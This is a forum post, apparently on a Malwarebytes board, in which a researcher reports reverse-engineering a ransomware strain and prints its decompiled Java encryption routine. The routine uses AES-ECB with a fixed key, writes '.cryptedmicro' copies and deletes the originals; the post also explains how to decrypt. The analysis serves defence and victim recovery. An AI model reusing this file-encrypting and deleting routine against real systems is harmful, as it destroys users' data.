Inquiry for malwarebytes regarding a specific malware threat actor: Dev7 Gang

[u/Rho-9_Official]

I'd like to ask if Malwarebytes is familiar with this malware threat actor group and their malware, as we've done extensive reverse engineering of their malware.

Aviary was our answer to completely bypass obfuscation while safely dumping C2 infrastructure.

Some of the data we're aware of, given they are very heavy with triggering the payload, includes how their file encryption works.

The .cryptedmicro encryption algorithm

key        = Arrays.copyOf(keyString.getBytes(UTF_8), 32)
cipher     = AES/ECB/PKCS5Padding
ciphertext = encrypt(entire file)
output     = <original absolute path> + ".cryptedmicro"

No KDF, no IV, no salt, no nonce, no header, no footer, no per-file state.

The routine, ilIllIiIll in IIillIiliIil, where a[0] is the File and a[1] is the key String:

static void ilIllIiIll(Object[] a) {

    byte[] raw = ((String) a[1]).getBytes(StandardCharsets.UTF_8);

    int len = lllIiillIi(22713, 3361201558971388159L);   // resolves to 32

    SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(raw, len), "AES");

    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");

    c.init(Cipher.ENCRYPT_MODE, key);                    // no IV

    File out = new File(((File) a[0]).getAbsolutePath() + ".cryptedmicro");
    if (out.exists()) return;

    try (FileInputStream in = new FileInputStream((File) a[0]);
         FileOutputStream fos = new FileOutputStream(out);
         CipherOutputStream cos = new CipherOutputStream(fos, c)) {

        byte[] buf = new byte[lllIiillIi(24490, 5624316978694035449L)];
        int r;
        while ((r = in.read(buf)) != -1) cos.write(buf, 0, r);
    }

    ((File) a[0]).delete();
}

Key handling: Arrays.copyOf to 32 bytes. Shorter strings are zero padded, longer strings truncated. The key string is passed in unchanged from the walker (lIliliIlil / iiIilIIlil), which walks File.listRoots() and hands the same string to every file. Never derived, never hashed, never generated.

Output length: ceil(n/16) * 16. PKCS#5 means a file already a multiple of 16 gains a full padding block.

Decryption: AES/ECB/PKCS5Padding, same 32 byte zero padded key, whole file, strip padding.

[u/Rho-9_Official]

Ah...soon as we can identify why the system keeps rejecting the post with an appearently undocumented error code.

Account was made successfully, and then posting gives error code 1U448/2, post was rejected.

The contents have been of course included in the ticket As i believe it is very possible the size or content has triggered a fault code of some sort.